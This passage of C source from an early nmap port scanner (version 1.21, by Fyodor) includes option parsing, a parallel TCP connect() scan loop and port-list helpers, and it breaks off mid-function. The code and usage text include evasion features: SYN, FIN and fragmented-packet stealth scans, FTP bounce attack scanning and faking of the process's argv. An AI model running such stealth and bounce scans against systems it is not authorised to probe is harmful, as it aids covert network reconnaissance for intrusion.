struct ftpinfo *ftp, portlist *ports);
|
|||
|
|
|||
|
/* Scan helper functions */
|
|||
|
unsigned long calculate_sleep(struct in_addr target);
|
|||
|
int check_ident_port(struct in_addr target);
|
|||
|
int getidentinfoz(struct in_addr target, int localport, int remoteport,
|
|||
|
char *owner);
|
|||
|
int parse_bounce(struct ftpinfo *ftp, char *url);
|
|||
|
int ftp_anon_connect(struct ftpinfo *ftp);
|
|||
|
|
|||
|
/* port manipulators */
|
|||
|
unsigned short *getpts(char *expr); /* someone stole the name getports()! */
|
|||
|
unsigned short *getfastports(int tcpscan, int udpscan);
|
|||
|
int addport(portlist *ports, unsigned short portno, unsigned short protocol,
|
|||
|
char *owner);
|
|||
|
int deleteport(portlist *ports, unsigned short portno, unsigned short protocol);
|
|||
|
void printandfreeports(portlist ports);
|
|||
|
int shortfry(unsigned short *ports);
|
|||
|
|
|||
|
/* socket manipulation functions */
|
|||
|
void init_socket(int sd);
|
|||
|
int unblock_socket(int sd);
|
|||
|
int block_socket(int sd);
|
|||
|
int recvtime(int sd, char *buf, int len, int seconds);
|
|||
|
|
|||
|
/* RAW packet building/dissasembling stuff */
|
|||
|
int send_tcp_raw( int sd, struct in_addr *source,
|
|||
|
struct in_addr *victim, unsigned short sport,
|
|||
|
unsigned short dport, unsigned long seq,
|
|||
|
unsigned long ack, unsigned char flags,
|
|||
|
unsigned short window, char *data,
|
|||
|
unsigned short datalen);
|
|||
|
int isup(struct in_addr target);
|
|||
|
unsigned short in_cksum(unsigned short *ptr,int nbytes);
|
|||
|
int send_small_fragz(int sd, struct in_addr *source, struct in_addr *victim,
|
|||
|
int sport, int dport, int flags);
|
|||
|
int readtcppacket(char *packet, int readdata);
|
|||
|
int listen_icmp(int icmpsock, unsigned short outports[],
|
|||
|
unsigned short numtries[], int *num_out,
|
|||
|
struct in_addr target, portlist *ports);
|
|||
|
|
|||
|
/* general helper functions */
|
|||
|
void hdump(unsigned char *packet, int len);
|
|||
|
void *safe_malloc(int size);
|
|||
|
#endif /* NMAP_H */
|
|||
|
<-->
|
|||
|
|
|||
|
<++> nmap/nmap.c
|
|||
|
|
|||
|
#include "nmap.h"
|
|||
|
|
|||
|
/* global options */
|
|||
|
short debugging = DEBUGGING;
|
|||
|
short verbose = 0;
|
|||
|
int number_of_ports = 0; /* How many ports do we scan per machine? */
|
|||
|
int max_parallel_sockets = MAX_SOCKETS;
|
|||
|
extern char *optarg;
|
|||
|
extern int optind;
|
|||
|
short isr00t = 0;
|
|||
|
short identscan = 0;
|
|||
|
char current_name[MAXHOSTNAMELEN + 1];
|
|||
|
unsigned long global_delay = 0;
|
|||
|
unsigned long global_rtt = 0;
|
|||
|
struct in_addr ouraddr = { 0 };
|
|||
|
|
|||
|
int main(int argc, char *argv[]) {
|
|||
|
int i, j, arg, argvlen;
|
|||
|
short fastscan=0, tcpscan=0, udpscan=0, synscan=0, randomize=0;
|
|||
|
short fragscan = 0, finscan = 0, quashargv = 0, pingscan = 0, lamerscan = 0;
|
|||
|
short bouncescan = 0;
|
|||
|
short *ports = NULL, mask;
|
|||
|
struct ftpinfo ftp = { FTPUSER, FTPPASS, "", { 0 }, 21, 0};
|
|||
|
portlist openports = NULL;
|
|||
|
struct hostent *target = 0;
|
|||
|
unsigned long int lastip, currentip, longtmp;
|
|||
|
char *target_net, *p;
|
|||
|
struct in_addr current_in, *source=NULL;
|
|||
|
int hostup = 0;
|
|||
|
char *fakeargv[argc + 1];
|
|||
|
|
|||
|
/* argv faking silliness */
|
|||
|
for(i=0; i < argc; i++) {
|
|||
|
fakeargv[i] = safe_malloc(strlen(argv[i]) + 1);
|
|||
|
strncpy(fakeargv[i], argv[i], strlen(argv[i]) + 1);
|
|||
|
}
|
|||
|
fakeargv[argc] = NULL;
|
|||
|
|
|||
|
if (argc < 2 ) printusage(argv[0]);
|
|||
|
|
|||
|
/* OK, lets parse these args! */
|
|||
|
while((arg = getopt(argc,fakeargv,"b:dFfhilM:Pp:qrS:stUuw:v")) != EOF) {
|
|||
|
switch(arg) {
|
|||
|
case 'b':
|
|||
|
bouncescan++;
|
|||
|
if (parse_bounce(&ftp, optarg) < 0 ) {
|
|||
|
fprintf(stderr, "Your argument to -b is fucked up. Use the normal url style: user:pass@server:port or just use server and use default anon login\n Use -h for help\n");
|
|||
|
}
|
|||
|
break;
|
|||
|
case 'd': debugging++; break;
|
|||
|
case 'F': fastscan++; break;
|
|||
|
case 'f': fragscan++; break;
|
|||
|
case 'h':
|
|||
|
case '?': printusage(argv[0]);
|
|||
|
case 'i': identscan++; break;
|
|||
|
case 'l': lamerscan++; udpscan++; break;
|
|||
|
case 'M': max_parallel_sockets = atoi(optarg); break;
|
|||
|
case 'P': pingscan++; break;
|
|||
|
case 'p':
|
|||
|
if (ports)
|
|||
|
fatal("Only 1 -p option allowed, seperate multiple ranges with commas.");
|
|||
|
ports = getpts(optarg); break;
|
|||
|
case 'r': randomize++; break;
|
|||
|
case 's': synscan++; break;
|
|||
|
case 'S':
|
|||
|
if (source)
|
|||
|
fatal("You can only use the source option once!\n");
|
|||
|
source = safe_malloc(sizeof(struct in_addr));
|
|||
|
if (!inet_aton(optarg, source))
|
|||
|
fatal("You must give the source address in dotted deciman, currently.\n");
|
|||
|
break;
|
|||
|
case 't': tcpscan++; break;
|
|||
|
case 'U': finscan++; break;
|
|||
|
case 'u': udpscan++; break;
|
|||
|
case 'q': quashargv++; break;
|
|||
|
case 'w': global_delay = atoi(optarg); break;
|
|||
|
case 'v': verbose++;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
/* Take care of user wierdness */
|
|||
|
isr00t = !(geteuid()|geteuid());
|
|||
|
if (tcpscan && synscan)
|
|||
|
fatal("The -t and -s options can't be used together.\
|
|||
|
If you are trying to do TCP SYN scanning, just use -s.\
|
|||
|
For normal connect() style scanning, use -t");
|
|||
|
if ((synscan || finscan || fragscan || pingscan) && !isr00t)
|
|||
|
fatal("Options specified require r00t privileges. You don't have them!");
|
|||
|
if (!tcpscan && !udpscan && !synscan && !finscan && !bouncescan && !pingscan) {
|
|||
|
tcpscan++;
|
|||
|
if (verbose) error("No scantype specified, assuming vanilla tcp connect()\
|
|||
|
scan. Use -P if you really don't want to portscan.");
|
|||
|
if (fastscan && ports)
|
|||
|
fatal("You can use -F (fastscan) OR -p for explicit port specification.\
|
|||
|
Not both!\n");
|
|||
|
}
|
|||
|
/* If he wants to bounce of an ftp site, that site better damn well be reachable! */
|
|||
|
if (bouncescan) {
|
|||
|
if (!inet_aton(ftp.server_name, &ftp.server)) {
|
|||
|
if ((target = gethostbyname(ftp.server_name)))
|
|||
|
memcpy(&ftp.server, target->h_addr_list[0], 4);
|
|||
|
else {
|
|||
|
fprintf(stderr, "Failed to resolve ftp bounce proxy hostname/IP: %s\n",
|
|||
|
ftp.server_name);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
} else if (verbose)
|
|||
|
printf("Resolved ftp bounce attack proxy to %s (%s).\n",
|
|||
|
target->h_name, inet_ntoa(ftp.server));
|
|||
|
}
|
|||
|
printf("\nStarting nmap V 1.21 by Fyodor (fyodor@dhp.com, www.dhp.com/~fyodor/nmap/\n");
|
|||
|
if (!verbose)
|
|||
|
error("Hint: The -v option notifies you of open ports as they are found.\n");
|
|||
|
if (fastscan)
|
|||
|
ports = getfastports(synscan|tcpscan|fragscan|finscan|bouncescan,
|
|||
|
udpscan|lamerscan);
|
|||
|
if (!ports) ports = getpts("1-1024");
|
|||
|
|
|||
|
/* more fakeargv junk, BTW malloc'ing extra space in argv[0] doesn't work */
|
|||
|
if (quashargv) {
|
|||
|
argvlen = strlen(argv[0]);
|
|||
|
if (argvlen < strlen(FAKE_ARGV))
|
|||
|
fatal("If you want me to fake your argv, you need to call the program with a longer name. Try the full pathname, or rename it fyodorssuperdedouperportscanner");
|
|||
|
strncpy(argv[0], FAKE_ARGV, strlen(FAKE_ARGV));
|
|||
|
for(i = strlen(FAKE_ARGV); i < argvlen; i++) argv[0][i] = '\0';
|
|||
|
for(i=1; i < argc; i++) {
|
|||
|
argvlen = strlen(argv[i]);
|
|||
|
for(j=0; j <= argvlen; j++)
|
|||
|
argv[i][j] = '\0';
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
srand(time(NULL));
|
|||
|
|
|||
|
while(optind < argc) {
|
|||
|
|
|||
|
/* Time to parse the allowed mask */
|
|||
|
target = NULL;
|
|||
|
target_net = strtok(strdup(fakeargv[optind]), "/");
|
|||
|
mask = (p = strtok(NULL,""))? atoi(p) : 32;
|
|||
|
if (debugging)
|
|||
|
printf("Target network is %s, scanmask is %d\n", target_net, mask);
|
|||
|
|
|||
|
if (!inet_aton(target_net, ¤t_in)) {
|
|||
|
if ((target = gethostbyname(target_net)))
|
|||
|
memcpy(¤tip, target->h_addr_list[0], 4);
|
|||
|
else {
|
|||
|
fprintf(stderr, "Failed to resolve given hostname/IP: %s\n", target_net);
|
|||
|
}
|
|||
|
} else currentip = current_in.s_addr;
|
|||
|
|
|||
|
longtmp = ntohl(currentip);
|
|||
|
currentip = longtmp & (unsigned long) (0 - pow(2,32 - mask));
|
|||
|
lastip = longtmp | (unsigned long) (pow(2,32 - mask) - 1);
|
|||
|
while (currentip <= lastip) {
|
|||
|
openports = NULL;
|
|||
|
longtmp = htonl(currentip);
|
|||
|
target = gethostbyaddr((char *) &longtmp, 4, AF_INET);
|
|||
|
current_in.s_addr = longtmp;
|
|||
|
if (target)
|
|||
|
strncpy(current_name, target->h_name, MAXHOSTNAMELEN);
|
|||
|
else current_name[0] = '\0';
|
|||
|
current_name[MAXHOSTNAMELEN + 1] = '\0';
|
|||
|
if (randomize)
|
|||
|
shortfry(ports);
|
|||
|
#ifdef IGNORE_ZERO_AND_255_HOSTS
|
|||
|
if (IGNORE_ZERO_AND_255_HOSTS
|
|||
|
&& (!(currentip % 256) || currentip % 256 == 255))
|
|||
|
{
|
|||
|
printf("Skipping host %s because IGNORE_ZERO_AND_255_HOSTS is set in the source.\n", inet_ntoa(current_in));
|
|||
|
hostup = 0;
|
|||
|
}
|
|||
|
else{
|
|||
|
#endif
|
|||
|
if (isr00t) {
|
|||
|
if (!(hostup = isup(current_in))) {
|
|||
|
if (!pingscan)
|
|||
|
printf("Host %s (%s) appears to be down, skipping scan.\n",
|
|||
|
current_name, inet_ntoa(current_in));
|
|||
|
else
|
|||
|
printf("Host %s (%s) appears to be down\n",
|
|||
|
current_name, inet_ntoa(current_in));
|
|||
|
} else if (debugging || pingscan)
|
|||
|
printf("Host %s (%s) appears to be up ... good.\n",
|
|||
|
current_name, inet_ntoa(current_in));
|
|||
|
}
|
|||
|
else hostup = 1; /* We don't really check because the lamer isn't root.*/
|
|||
|
}
|
|||
|
|
|||
|
/* Time for some actual scanning! */
|
|||
|
if (hostup) {
|
|||
|
if (tcpscan) tcp_scan(current_in, ports, &openports);
|
|||
|
|
|||
|
if (synscan) syn_scan(current_in, ports, source, fragscan, &openports);
|
|||
|
|
|||
|
if (finscan) fin_scan(current_in, ports, source, fragscan, &openports);
|
|||
|
|
|||
|
if (bouncescan) {
|
|||
|
if (ftp.sd <= 0) ftp_anon_connect(&ftp);
|
|||
|
if (ftp.sd > 0) bounce_scan(current_in, ports, &ftp, &openports);
|
|||
|
}
|
|||
|
if (udpscan) {
|
|||
|
if (!isr00t || lamerscan)
|
|||
|
lamer_udp_scan(current_in, ports, &openports);
|
|||
|
|
|||
|
else udp_scan(current_in, ports, &openports);
|
|||
|
}
|
|||
|
|
|||
|
if (!openports && !pingscan)
|
|||
|
printf("No ports open for host %s (%s)\n", current_name,
|
|||
|
inet_ntoa(current_in));
|
|||
|
if (openports) {
|
|||
|
printf("Open ports on %s (%s):\n", current_name,
|
|||
|
inet_ntoa(current_in));
|
|||
|
printandfreeports(openports);
|
|||
|
}
|
|||
|
}
|
|||
|
currentip++;
|
|||
|
}
|
|||
|
optind++;
|
|||
|
}
|
|||
|
|
|||
|
return 0;
|
|||
|
}
|
|||
|
|
|||
|
__inline__ int unblock_socket(int sd) {
|
|||
|
int options;
|
|||
|
/*Unblock our socket to prevent recvfrom from blocking forever
|
|||
|
on certain target ports. */
|
|||
|
options = O_NONBLOCK | fcntl(sd, F_GETFL);
|
|||
|
fcntl(sd, F_SETFL, options);
|
|||
|
return 1;
|
|||
|
}
|
|||
|
|
|||
|
__inline__ int block_socket(int sd) {
|
|||
|
int options;
|
|||
|
options = (~O_NONBLOCK) & fcntl(sd, F_GETFL);
|
|||
|
fcntl(sd, F_SETFL, options);
|
|||
|
return 1;
|
|||
|
}
|
|||
|
|
|||
|
/* Currently only sets SO_LINGER, I haven't seen any evidence that this
|
|||
|
helps. I'll do more testing before dumping it. */
|
|||
|
__inline__ void init_socket(int sd) {
|
|||
|
struct linger l;
|
|||
|
|
|||
|
l.l_onoff = 1;
|
|||
|
l.l_linger = 0;
|
|||
|
|
|||
|
if (setsockopt(sd, SOL_SOCKET, SO_LINGER, &l, sizeof(struct linger)))
|
|||
|
{
|
|||
|
fprintf(stderr, "Problem setting socket SO_LINGER, errno: %d\n", errno);
|
|||
|
perror("setsockopt");
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
/* Convert a string like "-100,200-1024,3000-4000,60000-" into an array
|
|||
|
of port numbers*/
|
|||
|
unsigned short *getpts(char *origexpr) {
|
|||
|
int exlen = strlen(origexpr);
|
|||
|
char *p,*q;
|
|||
|
unsigned short *tmp, *ports;
|
|||
|
int i=0, j=0,start,end;
|
|||
|
char *expr = strdup(origexpr);
|
|||
|
ports = safe_malloc(65536 * sizeof(short));
|
|||
|
i++;
|
|||
|
i--;
|
|||
|
for(;j < exlen; j++)
|
|||
|
if (expr[j] != ' ') expr[i++] = expr[j];
|
|||
|
expr[i] = '\0';
|
|||
|
exlen = i + 1;
|
|||
|
i=0;
|
|||
|
while((p = strchr(expr,','))) {
|
|||
|
*p = '\0';
|
|||
|
if (*expr == '-') {start = 1; end = atoi(expr+ 1);}
|
|||
|
else {
|
|||
|
start = end = atoi(expr);
|
|||
|
if ((q = strchr(expr,'-')) && *(q+1) ) end = atoi(q + 1);
|
|||
|
else if (q && !*(q+1)) end = 65535;
|
|||
|
}
|
|||
|
if (debugging)
|
|||
|
printf("The first port is %d, and the last one is %d\n", start, end);
|
|||
|
if (start < 1 || start > end) fatal("Your port specifications are illegal!");
|
|||
|
for(j=start; j <= end; j++)
|
|||
|
ports[i++] = j;
|
|||
|
expr = p + 1;
|
|||
|
}
|
|||
|
if (*expr == '-') {
|
|||
|
start = 1;
|
|||
|
end = atoi(expr+ 1);
|
|||
|
}
|
|||
|
else {
|
|||
|
start = end = atoi(expr);
|
|||
|
if ((q = strchr(expr,'-')) && *(q+1) ) end = atoi(q+1);
|
|||
|
else if (q && !*(q+1)) end = 65535;
|
|||
|
}
|
|||
|
if (debugging)
|
|||
|
printf("The first port is %d, and the last one is %d\n", start, end);
|
|||
|
if (start < 1 || start > end) fatal("Your port specifications are illegal!");
|
|||
|
for(j=start; j <= end; j++)
|
|||
|
ports[i++] = j;
|
|||
|
number_of_ports = i;
|
|||
|
ports[i++] = 0;
|
|||
|
tmp = realloc(ports, i * sizeof(short));
|
|||
|
free(expr);
|
|||
|
return tmp;
|
|||
|
}
|
|||
|
|
|||
|
unsigned short *getfastports(int tcpscan, int udpscan) {
|
|||
|
int portindex = 0, res, lastport = 0;
|
|||
|
unsigned int portno = 0;
|
|||
|
unsigned short *ports;
|
|||
|
char proto[10];
|
|||
|
char line[81];
|
|||
|
FILE *fp;
|
|||
|
ports = safe_malloc(65535 * sizeof(unsigned short));
|
|||
|
proto[0] = '\0';
|
|||
|
if (!(fp = fopen("/etc/services", "r"))) {
|
|||
|
printf("We can't open /etc/services for reading! Fix your system or don't use -f\n");
|
|||
|
perror("fopen");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
while(fgets(line, 80, fp)) {
|
|||
|
res = sscanf(line, "%*s %u/%s", &portno, proto);
|
|||
|
if (res == 2 && portno != 0 && portno != lastport) {
|
|||
|
lastport = portno;
|
|||
|
if (tcpscan && proto[0] == 't')
|
|||
|
ports[portindex++] = portno;
|
|||
|
else if (udpscan && proto[0] == 'u')
|
|||
|
ports[portindex++] = portno;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
number_of_ports = portindex;
|
|||
|
ports[portindex++] = 0;
|
|||
|
return realloc(ports, portindex * sizeof(unsigned short));
|
|||
|
}
|
|||
|
|
|||
|
void printusage(char *name) {
|
|||
|
printf("%s [options] [hostname[/mask] . . .]
|
|||
|
options (none are required, most can be combined):
|
|||
|
-t tcp connect() port scan
|
|||
|
-s tcp SYN stealth port scan (must be root)
|
|||
|
-u UDP port scan, will use MUCH better version if you are root
|
|||
|
-U Uriel Maimon (P49-15) style FIN stealth scan.
|
|||
|
-l Do the lamer UDP scan even if root. Less accurate.
|
|||
|
-P ping \"scan\". Find which hosts on specified network(s) are up.
|
|||
|
-b <ftp_relay_host> ftp \"bounce attack\" port scan
|
|||
|
-f use tiny fragmented packets for SYN or FIN scan.
|
|||
|
-i Get identd (rfc 1413) info on listening TCP processes.
|
|||
|
-p <range> ports: ex: \'-p 23\' will only try port 23 of the host(s)
|
|||
|
\'-p 20-30,63000-\' scans 20-30 and 63000-65535 default: 1-1024
|
|||
|
-F fast scan. Only scans ports in /etc/services, a la strobe(1).
|
|||
|
-r randomize target port scanning order.
|
|||
|
-h help, print this junk. Also see http://www.dhp.com/~fyodor/nmap/
|
|||
|
-S If you want to specify the source address of SYN or FYN scan.
|
|||
|
-v Verbose. Its use is recommended. Use twice for greater effect.
|
|||
|
-w <n> delay. n microsecond delay. Not recommended unless needed.
|
|||
|
-M <n> maximum number of parallel sockets. Larger isn't always better.
|
|||
|
-q quash argv to something benign, currently set to \"%s\".
|
|||
|
Hostnames specified as internet hostname or IP address. Optional '/mask' specifies subnet. cert.org/24 or 192.88.209.5/24 scan CERT's Class C.\n",
|
|||
|
name, FAKE_ARGV);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
portlist tcp_scan(struct in_addr target, unsigned short *portarray, portlist *ports) {
|
|||
|
|
|||
|
int starttime, current_out = 0, res , deadindex = 0, i=0, j=0, k=0, max=0;
|
|||
|
struct sockaddr_in sock, stranger, mysock;
|
|||
|
int sockaddr_in_len = sizeof(struct sockaddr_in);
|
|||
|
int sockets[max_parallel_sockets], deadstack[max_parallel_sockets];
|
|||
|
unsigned short portno[max_parallel_sockets];
|
|||
|
char owner[513], buf[65536];
|
|||
|
int tryident = identscan, current_socket /*actually it is a socket INDEX*/;
|
|||
|
fd_set fds_read, fds_write;
|
|||
|
struct timeval nowait = {0,0}, longwait = {7,0};
|
|||
|
|
|||
|
signal(SIGPIPE, SIG_IGN); /* ignore SIGPIPE so our 'write 0 bytes' test
|
|||
|
doesn't crash our program!*/
|
|||
|
owner[0] = '\0';
|
|||
|
starttime = time(NULL);
|
|||
|
bzero((char *)&sock,sizeof(struct sockaddr_in));
|
|||
|
sock.sin_addr.s_addr = target.s_addr;
|
|||
|
if (verbose || debugging)
|
|||
|
printf("Initiating TCP connect() scan against %s (%s)\n",
|
|||
|
current_name, inet_ntoa(sock.sin_addr));
|
|||
|
sock.sin_family=AF_INET;
|
|||
|
FD_ZERO(&fds_read);
|
|||
|
FD_ZERO(&fds_write);
|
|||
|
|
|||
|
if (tryident)
|
|||
|
tryident = check_ident_port(target);
|
|||
|
|
|||
|
/* Initially, all of our sockets are "dead" */
|
|||
|
for(i = 0 ; i < max_parallel_sockets; i++) {
|
|||
|
deadstack[deadindex++] = i;
|
|||
|
portno[i] = 0;
|
|||
|
}
|
|||
|
|
|||
|
deadindex--;
|
|||
|
/* deadindex always points to the most recently added dead socket index */
|
|||
|
|
|||
|
while(portarray[j]) {
|
|||
|
longwait.tv_sec = 7;
|
|||
|
longwait.tv_usec = nowait.tv_sec = nowait.tv_usec = 0;
|
|||
|
|
|||
|
for(i=current_out; i < max_parallel_sockets && portarray[j]; i++, j++) {
|
|||
|
current_socket = deadstack[deadindex--];
|
|||
|
if ((sockets[current_socket] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
|
|||
|
{perror("Socket troubles"); exit(1);}
|
|||
|
if (sockets[current_socket] > max) max = sockets[current_socket];
|
|||
|
current_out++;
|
|||
|
unblock_socket(sockets[current_socket]);
|
|||
|
init_socket(sockets[current_socket]);
|
|||
|
portno[current_socket] = portarray[j];
|
|||
|
sock.sin_port = htons(portarray[j]);
|
|||
|
if ((res = connect(sockets[current_socket],(struct sockaddr *)&sock,sizeof(struct sockaddr)))!=-1)
|
|||
|
printf("WTF???? I think we got a successful connection in non-blocking!!@#$\n");
|
|||
|
else {
|
|||
|
switch(errno) {
|
|||
|
case EINPROGRESS: /* The one I always see */
|
|||
|
case EAGAIN:
|
|||
|
block_socket(sockets[current_socket]);
|
|||
|
FD_SET(sockets[current_socket], &fds_write);
|
|||
|
FD_SET(sockets[current_socket], &fds_read);
|
|||
|
break;
|
|||
|
default:
|
|||
|
printf("Strange error from connect: (%d)", errno);
|
|||
|
perror(""); /*falling through intentionally*/
|
|||
|
case ECONNREFUSED:
|
|||
|
if (max == sockets[current_socket]) max--;
|
|||
|
deadstack[++deadindex] = current_socket;
|
|||
|
current_out--;
|
|||
|
portno[current_socket] = 0;
|
|||
|
close(sockets[current_socket]);
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
if (!portarray[j]) sleep(1); /*wait a second for any last packets*/
|
|||
|
while((res = select(max + 1, &fds_read, &fds_write, NULL,
|
|||
|
(current_out < max_parallel_sockets)?
|
|||
|
&nowait : &longwait)) > 0) {
|
|||
|
for(k=0; k < max_parallel_sockets; k++)
|
|||
|
if (portno[k]) {
|
|||
|
if (FD_ISSET(sockets[k], &fds_write)
|
|||
|
&& FD_ISSET(sockets[k], &fds_read)) {
|
|||
|
/*printf("Socket at port %hi is selectable for r & w.", portno[k]);*/
|
|||
|
res = recvfrom(sockets[k], buf, 65536, 0, (struct sockaddr *)
|
|||
|
& stranger, &sockaddr_in_len);
|
|||
|
if (res >= 0) {
|
|||
|
if (debugging || verbose)
|
|||
|
printf("Adding TCP port %hi due to successful read.\n",
|
|||
|
portno[k]);
|
|||
|
if (tryident) {
|
|||
|
if ( getsockname(sockets[k], (struct sockaddr *) &mysock,
|
|||
|
&sockaddr_in_len ) ) {
|
|||
|
perror("getsockname");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
tryident = getidentinfoz(target, ntohs(mysock.sin_port),
|
|||
|
portno[k], owner);
|
|||
|
}
|
|||
|
addport(ports, portno[k], IPPROTO_TCP, owner);
|
|||
|
}
|
|||
|
if (max == sockets[k])
|
|||
|
max--;
|
|||
|
FD_CLR(sockets[k], &fds_read);
|
|||
|
FD_CLR(sockets[k], &fds_write);
|
|||
|
deadstack[++deadindex] = k;
|
|||
|
current_out--;
|
|||
|
portno[k] = 0;
|
|||
|
close(sockets[k]);
|
|||
|
}
|
|||
|
else if(FD_ISSET(sockets[k], &fds_write)) {
|
|||
|
/*printf("Socket at port %hi is selectable for w only.VERIFYING\n",
|
|||
|
portno[k]);*/
|
|||
|
res = send(sockets[k], buf, 0, 0);
|
|||
|
if (res < 0 ) {
|
|||
|
signal(SIGPIPE, SIG_IGN);
|
|||
|
if (debugging > 1)
|
|||
|
printf("Bad port %hi caught by 0-byte write!\n", portno[k]);
|
|||
|
}
|
|||
|
else {
|
|||
|
if (debugging || verbose)
|
|||
|
printf("Adding TCP port %hi due to successful 0-byte write!\n",
|
|||
|
portno[k]);
|
|||
|
if (tryident) {
|
|||
|
if ( getsockname(sockets[k], (struct sockaddr *) &mysock ,
|
|||
|
&sockaddr_in_len ) ) {
|
|||
|
perror("getsockname");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
tryident = getidentinfoz(target, ntohs(mysock.sin_port),
|
|||
|
portno[k], owner);
|
|||
|
}
|
|||
|
addport(ports, portno[k], IPPROTO_TCP, owner);
|
|||
|
}
|
|||
|
if (max == sockets[k]) max--;
|
|||
|
FD_CLR(sockets[k], &fds_write);
|
|||
|
deadstack[++deadindex] = k;
|
|||
|
current_out--;
|
|||
|
portno[k] = 0;
|
|||
|
close(sockets[k]);
|
|||
|
}
|
|||
|
else if ( FD_ISSET(sockets[k], &fds_read) ) {
|
|||
|
printf("Socket at port %hi is selectable for r only. This is very wierd.\n", portno[k]);
|
|||
|
if (max == sockets[k]) max--;
|
|||
|
FD_CLR(sockets[k], &fds_read);
|
|||
|
deadstack[++deadindex] = k;
|
|||
|
current_out--;
|
|||
|
portno[k] = 0;
|
|||
|
close(sockets[k]);
|
|||
|
}
|
|||
|
else {
|
|||
|
/*printf("Socket at port %hi not selecting, readding.\n",portno[k]);*/
|
|||
|
FD_SET(sockets[k], &fds_write);
|
|||
|
FD_SET(sockets[k], &fds_read);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
if (debugging || verbose)
|
|||
|
printf("Scanned %d ports in %ld seconds with %d parallel sockets.\n",
|
|||
|
number_of_ports, time(NULL) - starttime, max_parallel_sockets);
|
|||
|
return *ports;
|
|||
|
}
|
|||
|
|
|||
|
/* gawd, my next project will be in c++ so I don't have to deal with
|
|||
|
this crap ... simple linked list implementation */
|
|||
|
int addport(portlist *ports, unsigned short portno, unsigned short protocol,
|
|||
|
char *owner) {
|
|||
|
struct port *current, *tmp;
|
|||
|
int len;
|
|||
|
|
|||
|
if (*ports) {
|
|||
|
current = *ports;
|
|||
|
/* case 1: we add to the front of the list */
|
|||
|
if (portno <= current->portno) {
|
|||
|
if (current->portno == portno && current->proto == protocol) {
|
|||
|
if (debugging || verbose)
|
|||
|
printf("Duplicate port (%hi/%s)\n", portno ,
|
|||
|
(protocol == IPPROTO_TCP)? "tcp": "udp");
|
|||
|
return -1;
|
|||
|
}
|
|||
|
tmp = current;
|
|||
|
*ports = safe_malloc(sizeof(struct port));
|
|||
|
(*ports)->next = tmp;
|
|||
|
current = *ports;
|
|||
|
current->portno = portno;
|
|||
|
current->proto = protocol;
|
|||
|
if (owner && *owner) {
|
|||
|
len = strlen(owner);
|
|||
|
current->owner = malloc(sizeof(char) * (len + 1));
|
|||
|
strncpy(current->owner, owner, len + 1);
|
|||
|
}
|
|||
|
else current->owner = NULL;
|
|||
|
}
|
|||
|
else { /* case 2: we add somewhere in the middle or end of the list */
|
|||
|
while( current->next && current->next->portno < portno)
|
|||
|
current = current->next;
|
|||
|
if (current->next && current->next->portno == portno
|
|||
|
&& current->next->proto == protocol) {
|
|||
|
if (debugging || verbose)
|
|||
|
printf("Duplicate port (%hi/%s)\n", portno ,
|
|||
|
(protocol == IPPROTO_TCP)? "tcp": "udp");
|
|||
|
return -1;
|
|||
|
}
|
|||
|
tmp = current->next;
|
|||
|
current->next = safe_malloc(sizeof(struct port));
|
|||
|
current->next->next = tmp;
|
|||
|
tmp = current->next;
|
|||
|
tmp->portno = portno;
|
|||
|
tmp->proto = protocol;
|
|||
|
if (owner && *owner) {
|
|||
|
len = strlen(owner);
|
|||
|
tmp->owner = malloc(sizeof(char) * (len + 1));
|
|||
|
strncpy(tmp->owner, owner, len + 1);
|
|||
|
}
|
|||
|
else tmp->owner = NULL;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
else { /* Case 3, list is null */
|
|||
|
*ports = safe_malloc(sizeof(struct port));
|
|||
|
tmp = *ports;
|
|||
|
tmp->portno = portno;
|
|||
|
tmp->proto = protocol;
|
|||
|
if (owner && *owner) {
|
|||
|
len = strlen(owner);
|
|||
|
tmp->owner = safe_malloc(sizeof(char) * (len + 1));
|
|||
|
strncpy(tmp->owner, owner, len + 1);
|
|||
|
}
|
|||
|
else tmp->owner = NULL;
|
|||
|
tmp->next = NULL;
|
|||
|
}
|
|||
|
return 0; /*success */
|
|||
|
}
|
|||
|
|
|||
|
int deleteport(portlist *ports, unsigned short portno,
|
|||
|
unsigned short protocol) {
|
|||
|
portlist current, tmp;
|
|||
|
|
|||
|
if (!*ports) {
|
|||
|
if (debugging > 1) error("Tried to delete from empty port list!");
|
|||
|
return -1;
|
|||
|
}
|
|||
|
/* Case 1, deletion from front of list*/
|
|||
|
if ((*ports)->portno == portno && (*ports)->proto == protocol) {
|
|||
|
tmp = (*ports)->next;
|
|||
|
if ((*ports)->owner) free((*ports)->owner);
|
|||
|
free(*ports);
|
|||
|
*ports = tmp;
|
|||
|
}
|
|||
|
else {
|
|||
|
current = *ports;
|
|||
|
for(;current->next && (current->next->portno != portno || current->next->proto != protocol); current = current->next);
|
|||
|
if (!current->next)
|
|||
|
return -1;
|
|||
|
tmp = current->next;
|
|||
|
current->next = tmp->next;
|
|||
|
if (tmp->owner) free(tmp->owner);
|
|||
|
free(tmp);
|
|||
|
}
|
|||
|
return 0; /* success */
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void *safe_malloc(int size)
|
|||
|
{
|
|||
|
void *mymem;
|
|||
|
if (size < 0)
|
|||
|
fatal("Tried to malloc negative amount of memmory!!!");
|
|||
|
if ((mymem = malloc(size)) == NULL)
|
|||
|
fatal("Malloc Failed! Probably out of space.");
|
|||
|
return mymem;
|
|||
|
}
|
|||
|
|
|||
|
void printandfreeports(portlist ports) {
|
|||
|
char protocol[4];
|
|||
|
struct servent *service;
|
|||
|
port *current = ports, *tmp;
|
|||
|
|
|||
|
printf("Port Number Protocol Service");
|
|||
|
printf("%s", (identscan)?" Owner\n":"\n");
|
|||
|
while(current != NULL) {
|
|||
|
strcpy(protocol,(current->proto == IPPROTO_TCP)? "tcp": "udp");
|
|||
|
